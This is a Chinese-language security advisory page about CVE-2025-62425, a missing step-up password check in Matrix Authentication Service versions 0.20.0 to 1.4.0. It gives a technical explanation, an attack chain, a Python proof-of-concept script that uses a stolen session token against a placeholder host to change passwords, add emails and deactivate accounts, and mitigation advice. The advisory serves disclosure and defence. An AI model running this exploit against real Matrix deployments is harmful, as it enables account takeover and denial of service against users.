IPBUF安全漏洞报告
English
CVE-2025-62425 CVSS 8.3 高危

CVE-2025-62425:Matrix认证服务认证绕过漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-62425
漏洞类型
认证绕过/逻辑缺陷
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
matrix-authentication-service (MAS)

相关标签

认证绕过逻辑缺陷Matrixmatrix-authentication-serviceMASElement密码安全账户接管CVE-2025-62425高危漏洞

漏洞概述

Matrix Authentication Service(MAS)是由Element开发和维护的用户管理与认证服务,专为Matrix家庭服务器设计。该服务提供身份验证、账户管理及单点登录等核心功能。

CVE-2025-62425是matrix-authentication-service 0.20.0至1.4.0版本中存在的一个高危认证逻辑缺陷漏洞。该漏洞源于服务在处理敏感账户操作时,未正确要求用户重新输入当前密码进行二次验证,导致已认证的攻击者可以在不提供当前密码的情况下执行多个高危操作。

具体而言,攻击者利用此漏洞可以:1)更改当前账户密码,从而完全控制目标账户;2)添加或删除账户关联的电子邮件地址,干扰账户恢复流程;3)停用账户,造成拒绝服务效果。该漏洞CVSS评分为8.3,属于高危级别,其向量为AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H,表明该漏洞可通过网络远程利用,攻击复杂度低,仅需低权限认证即可触发,无需用户交互。

值得注意的是,该漏洞仅影响启用了本地密码数据库功能(配置文件中passwords部分)的MAS实例。该漏洞已于matrix-authentication-service 1.4.1版本中修复,建议所有受影响用户尽快升级。

技术细节

matrix-authentication-service在处理账户敏感操作(如修改密码、添加/删除邮箱、停用账户)时,设计上应当要求用户重新输入当前密码以进行身份验证(step-up authentication),以防止已认证会话被劫持或滥用时攻击者直接执行敏感操作。

该漏洞的根本原因在于:在启用了本地密码数据库功能(local password database)的配置下,MAS服务端在处理上述敏感操作的API请求时,未正确实施密码二次验证逻辑。攻击者只需持有一个有效的已认证会话令牌(如访问令牌或Cookie),即可绕过密码确认步骤,直接调用对应的API端点执行敏感操作。

利用方式:
1. 攻击者首先通过合法手段(如钓鱼、凭证泄露等)获取目标账户的已认证会话;
2. 使用该会话令牌,构造针对密码修改、邮箱变更或账户停用等敏感API的请求;
3. 由于服务端缺少密码验证步骤,攻击者无需提供当前密码即可成功执行操作;
4. 攻击者可更改密码以完全接管账户,或删除账户造成拒绝服务。

该漏洞的修复提交为bce99edb6177be11f8f38c1d01f5606ce7b4b2e5,在1.4.1版本中加入了正确的密码二次验证机制。

攻击链分析

STEP 1
步骤1:获取已认证会话
攻击者通过钓鱼、凭证泄露、会话劫持或其他方式获取目标账户在MAS中的有效已认证会话令牌(access token或Cookie)。
STEP 2
步骤2:探测目标服务配置
攻击者确认目标MAS实例是否启用了本地密码数据库功能(配置文件中passwords部分),因为该漏洞仅影响启用此功能的实例。
STEP 3
步骤3:利用认证绕过执行敏感操作
攻击者使用已认证会话直接调用敏感API端点(如修改密码、添加/删除邮箱、停用账户),由于服务端缺少密码二次验证逻辑,请求被成功处理。
STEP 4
步骤4:账户接管或拒绝服务
攻击者通过修改密码完全接管目标账户,或通过停用账户造成拒绝服务效果,也可添加控制的邮箱地址以干扰账户恢复流程。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62425 PoC - Matrix Authentication Service Sensitive Operation Without Password Re-authentication # This PoC demonstrates bypassing password verification for sensitive account operations import requests TARGET_URL = "https://mas.example.com" SESSION_TOKEN = "<attacker_obtained_session_token>" # Step 1: Change password without current password verification def exploit_change_password(new_password): """ Exploit: Change the account password without providing the current password. This allows an attacker who has an authenticated session to take over the account. """ url = f"{TARGET_URL}/account/password" headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } payload = { "new_password": new_password # Note: No "current_password" field required due to the logic flaw } response = requests.post(url, json=payload, headers=headers) print(f"[*] Password change response: {response.status_code}") return response.status_code == 200 # Step 2: Add email address without password verification def exploit_add_email(email): """ Exploit: Add an attacker-controlled email address without password verification. This can be used to intercept account recovery flows. """ url = f"{TARGET_URL}/account/emails" headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } payload = { "email": email } response = requests.post(url, json=payload, headers=headers) print(f"[*] Add email response: {response.status_code}") return response.status_code == 200 # Step 3: Deactivate account without password verification def exploit_deactivate_account(): """ Exploit: Deactivate the victim's account without password verification. This causes a denial-of-service condition for the legitimate user. """ url = f"{TARGET_URL}/account/deactivate" headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } response = requests.post(url, headers=headers) print(f"[*] Deactivate account response: {response.status_code}") return response.status_code == 200 if __name__ == "__main__": print("[*] CVE-2025-62425 - MAS Authentication Bypass PoC") print("[*] Affected: matrix-authentication-service 0.20.0 - 1.4.0") print("[*] Only affects instances with local password database enabled\n") # Execute exploits exploit_change_password("attacker_controlled_password") exploit_add_email("[email protected]") exploit_deactivate_account()

影响范围

matrix-authentication-service >= 0.20.0
matrix-authentication-service < 1.4.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)监控所有账户敏感操作(密码修改、邮箱变更、账户停用)的日志,及时发现异常行为;2)缩短会话令牌的有效期,降低已泄露会话被利用的风险;3)实施额外的安全层,如IP白名单或设备绑定;4)考虑暂时禁用本地密码数据库功能,迁移至外部身份提供者(IdP)进行认证,以规避受影响代码路径;5)通知所有用户检查其账户安全状态,必要时强制重新登录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表